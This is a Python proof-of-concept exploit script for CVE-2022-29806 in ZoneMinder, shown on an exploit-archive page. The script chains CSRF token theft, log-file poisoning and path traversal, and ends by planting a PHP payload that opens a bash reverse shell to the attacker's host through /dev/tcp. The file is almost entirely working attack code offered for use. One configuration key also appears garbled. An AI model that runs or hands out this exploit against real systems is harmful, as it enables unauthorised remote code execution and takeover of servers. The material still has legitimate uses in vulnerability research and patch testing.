4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
import re
import requests
from bs4 import BeautifulSoup
import argparse

# POC for CVE-2022-29806
# Source: krastanoel
# Publication: https://krastanoel.com/cve/2022-29806
# Body inspired from POC for CVE-2023-26035: https://github.com/rvizx/CVE-2023-26035
#   
#   If the exploit was incomplete the app won't be able accesible!
#       That is because the app will try to log all events. 
#       The log file not being fully set up that will trigger an error.
#       The app won't be able to log that error. Crashing it.
# 
#	If you ever have issues with script execution and
#	know the version is vulnerable, check krastanoel's
#	blog publication. Steps are not that hard.
#
# PS: 
# 	This is just an automation script.
# 	I don't claim ownership over anything.

class ZoneMinderExploit:
    def __init__(self, target_uri):
        self.target_uri = target_uri
        self.csrf_magic = None
        response_test = requests.get(f"{self.target_uri}/index.php")
        if response_test.status_code != 200:
            print("[!] Unable to reach target. Veify URL (Do not include index.php in the URL parameter). Stopping for now")
            exit()

    def fetch_csrf_token(self):
        print("[>] fetching csrf token")
        response = requests.get(self.target_uri)
        self.csrf_magic = self.get_csrf_magic(response)
        if response.status_code == 200 and re.match(r'^key:[a-f0-9]{40},\d+', self.csrf_magic):
            print(f"[>] recieved the token: {self.csrf_magic}")
            return True
        print("[!] unable to fetch or parse token.")
        return False

    def get_csrf_magic(self, response):
        magic_csrf_token = None
        try:
            magic_csrf_token = BeautifulSoup(response.text, 'html.parser').find('input', {'name': '__csrf_magic'}).get('value', None)
        except: 
            try:
                magic_csrf_token = str(BeautifulSoup(response.text, 'html.parser').find_all('script')[18]).split('"')[3]
            except Exception:
                print("[!] Unable to fetch the 'magic CSRF' token.")
                print("-- Check if the URL is correct!")
                print("-- Otherwise you might need to edit the POC.")
                print("-- If the payload was malformed you won't be able to access the application")
                exit()
        return magic_csrf_token

    def execute_command(self, payload):
        print("[>] STEP 1 - Activating the dashboard..")
        data = {
                'view': 'privacy', 
                'action': 'privacy', 
                'option': f'0', 
                '__csrf_magic': self.csrf_magic
        }
        response_dashboard = requests.post(f"{self.target_uri}/index.php", data=data)
        if response_dashboard.status_code != 200:
            print("[!] Failed to activate the dashboard. Continuing for now - Might be an issue!")
	
        print("[>] STEP 2 - Sending new logging configuration")
        data = {
                '__csrf_magic': self.csrf_magic,
                'view': 'options',
                'tab': 'logging',
                'action': 'options',
                'newConfig[ZM_LOG_LEVEL_SYSLOG]': '0',
                'newConfig[ZM_LOG_LEVEL_FILE]': '1',
                'newConfig[ZM_LOG_LEVEL_WEBLOG]': '-5',
                'newConfig[ZM_LOG_LEVEL_DATABASE]': '0',
                'newConfig[ZM_LOG_DATABASE_LIMIT]': '7 day',
                'newConfig[ZM_LOG_FFMPEG]': '1',
                'newConfig[ZM_LOG_DEBUG]': '1',
                'newCon/usr/bin/zmdc.plfig[ZM_LOG_DEBUG_TARGET]': '',
                'newConfig[ZM_LOG_DEBUG_LEVEL]': '1',
                'newConfig[ZM_LOG_DEBUG_FILE]': '/tmp/proof.php',
                'newConfig[ZM_LOG_CHECK_PERIOD]': '900',
                'newConfig[ZM_LOG_ALERT_WAR_COUNT]': '1',
                'newConfig[ZM_LOG_ALERT_ERR_COUNT]': '1',
                'newConfig[ZM_LOG_ALERT_FAT_COUNT]': '0',
                'newConfig[ZM_LOG_ALARM_WAR_COUNT]': '100',
                'newConfig[ZM_LOG_ALARM_ERR_COUNT]': '10',
                'newConfig[ZM_LOG_ALARM_FAT_COUNT]': '1',
                'newConfig[ZM_RECORD_EVENT_STATS]': '1'
        }
        response_config = requests.post(f"{self.target_uri}/index.php", data=data)
        if response_config.status_code != 200:
            print("[!] Something went wrong while updating the log configuration. Stopping for now.")
            print("\tCheck fields in the 'response_config' variable match the application or if the dashboard is enabled.")
            exit()
        
        print("[>] STEP 3 - Sending payload")
        data = {
            '__csrf_magic': self.csrf_magic,
            'view': 'request',
            'request': 'log',
            'task': 'create',
            'level': 'ERR',
            'message': payload,
            'file': '/tmp/proof.php'
        }
        response_payload = requests.post(f"{self.target_uri}/index.php", data=data)
        if response_payload.status_code != 200:
            print("[!] Something went wrong sending the payload. Stopping for now.")
            print("\tDouble check if previous steps worked. Log options should point to /tmp/proof.php.")
            exit()

        print("[>] STEP 4 - Triggering payload")
        data = {
            '__csrf_magic': self.csrf_magic,
            'view': 'options',
            'tab': 'system',
            'action': 'options',
            'newConfig[ZM_LANG_DEFAULT]': '../../../../../tmp/proof'
        }
        try:
            response_include = requests.post(f"{self.target_uri}/index.php", data=data)
        except requests.exceptions.Timeout:
            print("[>] Exploit triggered. Reload index.php if needed on your browser.")
            print("\tIf the payload was broke/malformed you'll ned to restart the server. CF. Comment on line 12")
            print("[>] STEP 5 - BONUS - Ensuring trigger.")
            response_payload = requests.get(f"{self.target_uri}/index.php")
            return

        print("[!] Failed to execute? If you don't get execution at this point it's possible that:")
        print("\tApplication is executing on context of user with limited rights on server.")
        print("\tApplication might not vulnerable despite version")
        exit()


    def exploit(self, payload):
        if self.fetch_csrf_token():
            print(f"[>] executing...")
            self.execute_command(payload)
            exit()

if __name__ == "__main__":

    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target-url', required=True, help='target url endpoint/webroot')
    parser.add_argument('-ip', '--local-ip', required=True, help='local ip')
    parser.add_argument('-p', '--port', required=True, help='port')
    args = parser.parse_args()

    payload = f'<?php shell_exec("/bin/bash -c \'/bin/bash -i >& /dev/tcp/{args.local_ip}/{args.port} 0>&1\'");?>'
    
    ZoneMinderExploit(args.target_url).exploit(payload)